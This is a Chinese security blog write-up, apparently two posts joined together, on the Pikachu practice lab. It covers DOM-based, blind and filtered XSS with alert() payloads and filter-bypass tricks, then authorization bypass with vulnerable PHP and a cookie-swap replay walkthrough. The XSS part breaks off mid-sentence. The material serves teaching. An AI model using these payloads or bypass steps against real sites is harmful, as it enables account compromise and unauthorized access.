DOM: Document Object Model文档对象模型,DOM型XSS是一种特殊类型的反射型XSS。

当网页到达浏览器,浏览器会为网页创建一个Document object文档对象,然后生成各个子文档对象,其中每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。

我们可以通过JS脚本对文档对象进行编辑从而修改页面的元素。客户端脚本程序可以通过DOM来动态修改页面内容,客户端获取DOM中的数据并在本地执行。基于此,JS脚本就可以用来实现XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>

通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,而a标签会写到Id 为 dom的 div 标签中。

因此通过闭合的方式构造Payload

1
' onclick=alert("xss")>

DOM型XSS不经过后台交互,前端输入被DOM给获取,通过DOM又在前端输出

DOM型XSS-X

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>

首先定义一个domxss函数:

利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str

然后经过URL解码和字符串分隔,取出URL中的参数内容;

把 “+” 替换为 “ ”(空格),赋值给 xss;

把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。

与之前DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)

构造的Payload同上

1
' onclick=alert("xss")>

XSS之盲打

为攻击场景,输入的内容不会在当前输出,而是提交到后台。若输入一串js,管理员登录后台管理界面,后台会输出我们提交的内容

输入常见xss一句话,登陆管理员界面即可看到一登陆进来就遭受攻击。

XSS之过滤

常见xss一句话输入,被后台过滤,大小写即可绕过。也可用<img src=x onerror=alert(‘xss’)>。

实际场景中,或多或少都会有过滤,但是有些逻辑不严谨,也可被绕过。

绕过思路:

  • 前端限制绕过:直接抓包重放,或修改html前端代码。如反射型XSS(get)中限制输入20个字符。
  • 大小写:比如
  • 双写:<script>。针对后台把

0x01 前言

本文将谈谈越权那些事儿。靶场也是本博客的传统–pikachu。

0x02 谈谈越权

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。

攻击者在获得低权限用户账户后,利用一些方式绕过权限检查,访问或者操作其他用户或者更高权限。越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定,一旦权限验证不充分,就易致越权漏洞。

原理:

Web 程序功能流程是登录 - 提交请求 - 验证权限 - 数据库查询 - 返回结果。如果验证权限不足,便会导致越权

一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的地方,当用户对权限页面内的信息进行这些操作时,后台需要对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。

分类:

主要分为水平越权和垂直越权

case1: 隐藏 URL

有些程序的管理员的管理页面只有管理员才显示,普通用户看不到,利用 URL 实现访问控制,但 URL 泄露或被恶意攻击者猜到后,这会导致越权攻击。

解决:验证用户身份,验证用户是否具备操作数据的权限

case2: 直接对象引用

通过修改一下参数就可以产生水平越权,例如查看用户信息页面 URL 后加上自己的 id 便可查看,当修改为他人的 ID 号时会返回他人的信息,便产生了水平越权。

解决:直接对象引用的加密资源ID,防止攻击者枚举ID,敏感数据特殊化处理

case3: 多阶段功能

多阶段功能是一个功能有多个阶段的实现。例如修改密码,可能第一步是验证用户身份信息,号码验证码类的。当验证成功后,跳到第二步,输入新密码,很多程序会在这一步不再验证用户身份,导致恶意攻击者抓包直接修改参数值,导致可修改任意用户密码。

解决:执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限,特别敏感操作可以让用户再次输入密码或其他的验证信息。

case4: 静态文件

网站的下载功能,一些被下载的静态文件,例如 pdf、word、xls 等,可能只有付费用户或会员可下载,但当这些文件的 URL 地址泄露后,导致任何人可下载,如果知道 URL 命名规则,则会便利服务器的收费文档进行批量下载。

解决:加密静态文件命名规则,防止攻击者枚举;敏感数据特殊化处理

case5: 平台配置错误

程序会通过控件来限制用户的访问,例如后台地址,普通用户不属于管理员组,则不能访问。但当配置平台或配置控件错误时,就会出现越权访问。

解决:配置控件上点心儿吧

如何防止:

在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

靶场练习:

当我们以lucy身份登陆进系统时,可以看到username参数可控,当我们改成其他用户时,可以看到其他用户的个人信息。这属于水平越权。

接下来看看垂直越权,由于后台处理数据的逻辑存在漏洞,对于发送的数据包并没有判断当前数据包的用户权限,所以存在越权漏洞,具体看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
$getdata=escape($link, $_POST);//转义
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){//判断是否插入
header("location:op2_admin.php");
}else {
$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";

}
}
}

先登录admin账户创建test1用户,此时抓包.并发送到repeater模块

然后登陆普通用户pikachu,获取普通用户的cookie.

用此cookie覆盖之前admin用户的cookie,重放数据包,发现用户swanQ成功创建.

总结

这句话很有道理:

水平越权相当于用别人的卡,而垂直越权相当于用低价购买奢侈品。